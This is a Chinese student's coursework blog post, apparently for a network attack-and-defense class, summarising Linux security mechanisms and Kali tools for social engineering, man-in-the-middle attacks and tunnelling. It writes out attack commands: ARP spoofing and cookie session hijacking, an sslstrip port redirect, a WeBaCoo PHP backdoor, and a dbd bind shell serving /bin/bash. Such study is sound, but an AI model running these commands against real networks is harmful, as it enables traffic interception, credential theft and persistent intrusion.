20189317 《网络攻防技术》 第八周作业

教材《网络攻防技术》第八章的学习

1. linux操作系统基本框架概述

发展出众多操作系统发行版:ubuntu、debian、fedora、centos、rhel、opensuse和stackware等。

  • 优势
    开放源代码与免费
    跨平台的硬件支持
    丰富的软件支持
    多用户多任务
    可靠的安全性
    良好的稳定性
    完善的网络功能
  • linux系统结构
    Linux进程与线程管理机制
    Linux内存管理机制
    Linux文件系统管理机制
    Linux设备控制机制
    Linux网络机制
    Linux系统调用机制

2.linux操作系统安全机制

linux操作系统的核心安全机制主要是身份认证、授权与访问控制、安全审计三个部分。

  • linux身份认证
    linux用户(root根用户、普通用户、系统用户)
    linux用户组(具有相同特征的用户账号集合)
    linux本地登录用户认证机制(控制台)
    linux远程登录用户认证机制(ssh服务)
    Linux的统一身份认证中间件——PAM(可插入身份认证模块)
  • linux授权与访问控制
    文件所有者(chown命令)
    文件的访问权限(读、写、执行,chmod命令)
    文件的特殊执行权限
    Linux访问控制机制的不足与改进
  • linux安全审计
    连接时间日志
    进程统计日志
    错误日志记录

3. linux系统远程攻防技术

  • linux远程口令字猜测攻击
    1)针对ssh、telnet、ftp、http等服务的口令猜测攻击是互联网所面临的攻陷系统最普遍的攻击模式。

2)自动化远程口令猜测工具(brutus、thc hydra、cain and abel) p286

3)最佳防御措施:使用不宜猜中的强口令字

  • linux网络服务远程渗透攻击
    最重要的攻击渠道——对监听网络服务安全漏洞的渗透利用。
  Linux网络服务的远程渗透攻击
  Linux内核中的网络协议栈实现
  LAMP Web网站构建解决方案中的网络服务
  FTP、Samba等文件共享服务
  电子邮件收发服务
  其他网络服务

安全防范措施:

  禁用所有不必要的网络服务
  尽量选择更安全的网络协议与服务软件,并使用最佳安全实践进行部署
  及时更新网络服务版本
  使用xinetd、防火墙为linux网络服务添加网络访问控制机制
  建立入侵检测与应急响应计划流程
  • 攻击Linux客户端程序和用户
    安全防范措施:
及时更新常用的网络客户端软件
自身安全意识、经验与心智能力
  • 攻击Linux路由器和监听器
攻击linux路由器与防火墙
攻击监听器&入侵检测器(libpcap抓包库、tcpdump命令行程序、wireshark网络监听与协议分析软件、snort入侵检测系统)

4.linux系统本地安全攻防技术

  • linux本地特权提升
    linux用户口令字破解
    利用sudo的缺陷进行特权提升
    利用用户态SUID程序漏洞进行特权提升
    针对SUID程序的本地缓冲区溢出攻击
    针对SUID程序的符号链接攻击
    针对SUID程序的竞争条件攻击
    针对SUID程序的共享函数库攻击
    利用内核空间代码漏洞进行特权提升
    利用系统配置不当实施本地特权提升
  • linux系统上的消踪灭迹
    清理系统上的日志记录,从而有效地抹掉自己的行动踪迹。
  • linux系统远程控制后门程序
    linux系统上植入远程控制后门程序的类型有:特洛伊木马化的系统程序、命令行后门工具以及图形化后门工具。

kali视频学习

31.Kali漏洞利用之SET

Social Engineering Toolkit(SET)是一个开源、Python驱动的社会工程学渗透测试工具。提供了非常丰富的攻击向量库。是开源的社会工程学利用套件,通常结合metasploit来使用。
1.命令行下输入setoolkit打开SET套件

2.菜单选项1是社会工程学攻击,输入1回车,可以看到相应模块

    1)鱼叉式钓鱼攻击(Spear-Phishing Attack Vectors)
    2)网站攻击(Website Attack Vectors)
    3)介质感染攻击(Infectious Media Generator)
    4)创建Payload并监听(Create a Payload and Listener)
    5)群发邮件攻击(Mass Mailer Attack)
    6)基于Arduino的攻击(Arduino-Based Attack Vector)
    7)无线接入点攻击(Wireless Access Point Attack Vector)
    8)二维码攻击(QRCode Generator Attack Vector)
    9)powershell攻击(Powershell Attack Vectors)
    10)短信欺骗攻击(SMS Spoofing Attack Vector)
    11)第三方模块(Third Party Modules)

3.鱼叉式钓鱼攻击
此攻击向量主要目的为发送存在恶意软件的钓鱼邮件,相应的Payload可以选择不同的漏洞。

4.网站攻击框架
此时可以开放一个WEBSever服务,如果对方访问此页面,若系统存在漏洞触发条件,则会被植入后门。
如Java Applet Attack方法就是需要目标有Java运行环境,为了仿真,可以选择自建模板或克隆一个网站。

5.介质感染攻击:借助Autorun.inf执行Exploit得到一个返回的shell,也可以结合Metasploit的后门。

6.创建Payload和监听器listener

7.群发邮件攻击:支持导入列表并向列表中的每个人发送邮件。

8.基于Andruino的攻击

9.无线接入点攻击(Wireless Access Point Attack Vector):无线接入点攻击会创建一个虚拟无线AP,通过接入点ap可以抓取所有连接进来的设备流量。

10.二维码攻击(QRCode Generator Attack Vector):填入一个危险的URL,使得被攻击者扫描二维码自动访问页面而中招。

11.powershell攻击(Powershell Attack Vectors):针对vista以上的攻击模块。

12.短信欺骗攻击(SMS Spoofing Attack Vector):伪造短信的来源。

13.第三方模块(Third Party Modules)

32.Kali嗅探欺骗与中间人攻击

1.输入命令echo 1 > /proc/sys/net/ipv4/ip_forward,为Kali设置开启端口转发

2.设置ssltrip
执行命令iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8081,将所有的80请求转发到了8081上。

3.ettercap的准备
ettercap是一套用于中间人攻击的工具。和dsniff套件齐名。支持插件和过滤脚本,直接将账号、密码显示出来,不用人工提取数据。如果是第一次中间人攻击操作,那么要对kali下的etteracp做点配置。
1).配置文件是nano /etc/ettercap/etter.conf,首先要将ec_uid、ec_gid都变为0。

2).然后找到linux分类下的if you use iptables这一行,将下面两行的注释(“#”号)去掉,打开转发。

3)打开图形化界面 ettercap -G
4)选择嗅探网卡 默认eth0

5)Ettercap使用
打开ettercap,选择hosts选项:先scan for hosts,等扫描完了选host list。

选择窗口中要作为攻击目标的IP地址,然后点击窗口底部的 Add to Target 1,然后把网关安排到Target 2。选择 Mitm —> Arp poisoning —> Sniff remote connections。

4.Dsniff套装介绍
Dsniff套装主要是arpspoof和dsniff,前者用来进行arp欺骗,后者用于嗅探。

-c:打开半双工TCP流,允许在使用arpspoof时进行正确的嗅探操作
-d:启动调试模式
-f:以/etc/service格式从文件中加载触发器(也就是口令嗅探的服务类型)
-I:使用特定的网络接口
-m:使用dsniff.magic文件通过在magic文件中定义的特征尝试自动判断协议
-n:不执行主机查找
-r:从前面保存的会话中读取被嗅探的数据
-s:最多对报文的前个字节进行嗅探,如果用户名和口令信息包含在随后的默认1024字节界限中
-t:使用格式port/proto=servise;来加载一个以逗号界定的触发器集;

5.会话劫持
这里主要以cookies进行举例,说明会话劫持的用法。

arpspoof -i wlan0 -t 192.168.1.1 192.168.1.102

捕获数据报:

tcpdump -i wlan -w test.cap

等一段时间,估计目标会登录网站了,我们开始处理捕获的数据包:

forret -r test.cap

如果捕获的数据包没什么问题,而且确定开启了端口转发,那么经过处理的数据包会自动生成hamster.txt。接下来运hamster,hamster会提示浏览器设置代理为http://127.0.0.1:1234,接着在浏览器中代开hamster:http://hamster选择目标和可能的登录认证地址,然后点击链接会发现劫持成功。

6.图片截获

利用Driftnet这款工具我们可以看到受害人在访问网站的图片。
首先依然使用arpspoof启动arp欺骗,然后启动driftnet:
driftent -i
此时弹出一个小窗口,当目标访问有图片的网站的时候,攻击者就能在这个小窗口看到。

7.DNS欺骗

利用Dsniff套装中的dnsspoof或者ettercap的dnsspoof插件,我们可以完成对受害者的dns欺骗。

8.URL监控

利用Dsniff套装中的urlsnarf工具,我们对TCP80、3128、8080端口的HTTP通信进行解析,并且可以将嗅探到的所有HTTP请求转存为通用日志格式(Common Log Format,CLF),这种格式是许多Web服务器所使用的,例如IIS和Apache,事后可以很方便的使用一些日志分析工具来分析记录结果。
Usage:urlsnarf [-n] [-i interface | -p pcapfile] [[-v] pattern [expression]]

9.下载软件监控

利用Dsniff套装中的filesnarf工具,我们可以从嗅探到的NFS通信中,选定某个文件,转存到本地当前工作目录。
Ussage:filesnarf [-i interface | -p pcapfile] [[-v] pattern [expression]]

33.Kali权限维持之后门

权限维持包含Tunnel工具集、Web后门、系统后门三个子类。其中系统后门与web后门统称后门,都是为渗透测试后,为方便再次进入系统而留下的恶意程序。
1.Weevely
Weevely是一款使用python编写的webshell工具,可以算作是linux下的一款菜刀替代工具(限于php)。
1)生成后门

2)上传后门,使用weevely连接。

2.WeBaCoo
WeBaCoo(Web Backdoor Cookie)script-kit是一个小巧的、隐蔽的php后门,它提供了一个可以连接远程web服务器并执行php代码的终端。WeBaCoo使用HTTP响应头传送命令结果,shell命令经base64编码后隐藏在Cookie头中。
1).生成后门webacoo -g -o ~/2.php

2)连接后门webacoo -t -u http://xxx.xxx.xxx.xxx/2.php。

通过加入“:”执行本地命令,不加则借助webshell执行命令。

3.dbd
加密版的nc
监听端:dbd -l -p 2333 -e /bin/bash -k password
连接端:dbd 127.0.0.1 2333 -k password

4.sbd

5.U3-Pwn
与Metasploit Payload结合使用工具,从菜单可以单刀多针对移动设备如光驱镜像、U盘等。

6.Intersect
1)使用“2”列出可以使用的模块

2)创建后门脚本使用“1”,自由添加功能组件,生成shell。

3).绑定

4)连接:nc nvv 127.0.0.1 5555

34.Kali权限维持之Tunnel

权限维持包含Tunnel工具集、Web后门、系统后门三个子类。Tunnel工具集包含了一系列用于创建通信隧道、代理的工具。

  • cryptcat
  • DNS2TCP
    什么是DNS Tunnel?原理是什么?
  • Miredo
    Miredo是一个网络工具,主要用于BSD和Linux的IPV6 Teredo隧道链接,可以转换不支持IPV6的网络连接IPV6,内核中需要有IPV6和TUN隧道支持。
  • Proxytunnel
    Proxytunnel可通过标准的HTTPS代理来连接远程服务器,这是一个代理,实现了桥接的功能。特别用于通过SSH进行HTTP(S)传输。
  • ptunnel
    借助icmp数据包建立隧道通信。
  • pwnat
    内网下通过udp通信。
  • socat
    可以在不同协议上进行转发数据。
  • sslh
    是一个ssl/ssh端口复用工具,sslh可以在同一个端口上接受https,ssh和openvpn连接,这使得通过443端口连接ssh服务器或者openvpn服务同时在该端口上提供https服务成为可能,sslh可以作为一个研究端口复用的例子。

35.Kali逆向工程工具

逆向工程是根据已有的东西和结果,通过分析来推导出具体的实现办法。比如看到别人写的某个exe程序能够做出某种漂亮的动画效果,你通过反汇编、反编译和动态跟踪等方法,分析出其动画效果的实现过程,这种行为就是逆向工程:不仅仅是反编译,而且还要推导出设计,并且文档化,逆向软件工程的目的是使软件得以维护。

  • edb-debugger
    图形化界面,基于qt4开发的二进制调试工具,主要是为了跟ollydbg工具看齐,通过插件体系可进行功能的扩充。

  • Ollydbg

  • Jad——一个Java反编译工具

  • Radare2
    radare2是一款开放源代码的逆向工程平台,它可以反汇编、调试、分析和操作二进制文件。

  • Recstudio——反编译工具

  • Apktool
    APKTool是google提供的APK编译工具,能够反编译及回编译apk,同时安装反编译系统apk所需要的framewo-res框架。

  • Clang 、Clang++
    Clang是一个C怨言、C++、Objective C、Objective C++语言的轻量级编译器。

  • D2j-dex2jar
    反编译dex文件到jar文件,进而可以用其他工具查看源代码。

  • Flasm
    flasm主要功能是用于直接修改swf文件里的脚本actionscript。

  • Javasnoop
    Javasnoop是一个java应用程序安全测试工具,它允许你以拦截的方法,篡改数据和hack运行在你计算机上的java应用程序。通常在没有源代码的情况下,测试java客户端的安全性最好的结果是不可预知的,最坏的结果是不切实际的。

posted @ 2019-04-19 21:59  John_Lzf  阅读(278)  评论(0编辑  收藏  举报